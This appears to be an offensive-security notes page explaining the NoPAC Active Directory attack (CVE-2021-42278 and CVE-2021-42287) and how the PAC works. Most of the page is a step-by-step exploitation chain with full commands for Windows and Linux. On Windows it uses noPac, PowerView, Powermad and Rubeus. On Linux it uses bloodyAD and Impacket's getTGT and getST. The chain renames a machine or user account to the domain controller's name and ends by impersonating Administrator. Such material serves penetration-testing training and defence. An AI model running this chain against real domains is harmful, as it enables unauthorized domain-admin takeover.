NoPAC

The NoPAC attack, commonly associated with the vulnerabilities CVE-2021-42278 and CVE-2021-42287, refers to a method where a Domain User can perform privilege escalation and impersonate any privilege account through what is known as sAMAccountName Spoofing.

The attack starts with CVE-2021-42278, which exploits the lack of restrictions on modifications to the sAMAccountName attribute in Active Directory. By default, Windows Active Directory does not enforce strict validation of this attribute, particularly ensuring that computer account names end with a $ sign to distinguish them from user accounts. When we have sufficient permissions on a machine account, we can change the sAMAccountName of that account to the name of a domain controller without the $. This modification sets up the scenario for impersonating a domain controller.

After changing the sAMAccountName to a domain controller's name (without the trailing $), we can exploit CVE-2021-42287. This vulnerability lies within the Key Distribution Center. The KDC is tricked during the Service Ticket request phase. When a Service Ticket is requested for a non-existent account, the KDC will append a $ and search again.

The exploitation process makes use of this behavior. We request a Ticket Granting Ticket (TGT) using the modified sAMAccountName, and then request a Service Ticket, the KDC fails to find the account and appends a $ sign, unintentionally matching the legitimate domain controller's account, and finally we get a Service Ticket with the domain controller's privileges.

PAC

The Privilege Attribute Certificate (PAC) is a data structure used in Kerberos authentication within Windows environments. It contains important information about the user's identity and group memberships, which are used by services to enforce access control decisions.

When a user requests a TGT from the KDC, the KDC includes a PAC in the TGT. This PAC is later used by services to determine the user's permissions when accessing resources.

A PAC contains several critical pieces of information:

  • User SID (Security Identifier): A unique identifier for the user.

  • Group SIDs: Identifiers for the groups to which the user belongs.

  • User Rights: Information about the user's privileges.

  • Logon Information: Details about the user's logon session, such as the logon time.

The presence of a PAC in Kerberos tickets is essential for the correct functioning of access control in Windows domains. If a Domain Controller returns a TGT without a PAC (as in the case of NoPAC vulnerability), it can lead to security issues where access controls are bypassed or improperly enforced.

To enumerate this from windows we can us the noPAC binary

.\noPac.exe scan -domain inlanefreight.local -user aneudy -pass Ilovemusic01

or the linux version

python3 noPac/scanner.py -dc-ip 10.10.10.10 domain.com/otter:'SomethingSecure123!' -use-ldap

The next step is getting the MAQ of the user we own - if we want to query the specific number of machines an account has already joined to the domain, we can also use PowerView to query every machine and find its ms-DS-CreatorSID attribute

Import-Module .\PowerView.ps1
$computerName = 'OTTR'
$computer = Get-DomainComputer -Identity $computerName -Properties 'ms-DS-CreatorSID'
$sid = (New-Object System.Security.Principal.SecurityIdentifier($computer.'ms-DS-CreatorSID', 0)).Value
ConvertFrom-SID $sid
$computers = Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsid
$userComputers = $computers | where { (New-Object System.Security.Principal.SecurityIdentifier($_."ms-ds-creatorsid",0)).Value -eq (ConvertTo-SID otter) }
$userComputers.Count

Just like in the case of Resource-Based Constrained Delegation, if the MAQ of the user is 0, we can use one of the existing machine accounts created by the user but we have to own it first.

The flow of the attack from windows is the following:

  1. Create a computer account called TEST

Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'SomethingSecure123!' -AsPlainText -Force
New-MachineAccount -MachineAccount "TEST" -Password $($password) -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Clear the SPN attributes of the new computer account TEST

Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'TEST$' -Clear 'serviceprincipalname' -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Abuse CVE-2021-42278 and modify the sAMAccountName of the computer TEST to match the Domain Controller without $

Set-MachineAccountAttribute -MachineAccount "TEST" -Value "dc" -Attribute samaccountname -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Request a TGT for TEST with its credentials

.\Rubeus.exe asktgt /user:dc /password:"SomethingSecure123!" /domain:domain.com /dc:172.18.10.10 /nowrap
  1. Revert TEST sAMAccountName to its original value

Set-MachineAccountAttribute -MachineAccount "TEST" -Value "TEST" -Attribute samaccountname -Domain domain.com -DomainController 172.18.10.10 -Verbose
  1. Abuse CVE-2021-42287 and request a service ticket with S4U2self using TEST TGT

.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"ldap/dc.domain.com" /dc:172.18.10.10 /ptt /ticket:<TICKET>

From linux we can just use bloodyAD to perform the attack but instead of creating a new machine account we will do the attack with a user account we have GenericAll over:

  1. Clear the SPN attributes of the user account

bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object anotherUser servicePrincipalName
  1. Abuse CVE-2021-42278 and modify the sAMAccountName of the user to match the Domain Controller without $

bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object anotherUser sAMAccountName -v DC
  1. Request a TGT for the user with its credentials

getTGT.py domain.com/dc:'SomethingSecure123!' -dc-ip 10.10.10.10
  1. Revert the user's sAMAccountName to its original value

bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object DC sAMAccountName -v anotherUser
# or
bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object "CN=anotherUser,CN=Users,DC=domain,DC=com" sAMAccountName -v anotherUser
  1. Abuse CVE-2021-42287 and request a service ticket with S4U2self using the user's TGT

export KRB5CCNAME=dc03.ccache
getST.py domain.com/dc -self -impersonate 'Administrator' -altservice 'cifs/dc.domain.com' -k -no-pass -dc-ip 10.10.10.10

Last updated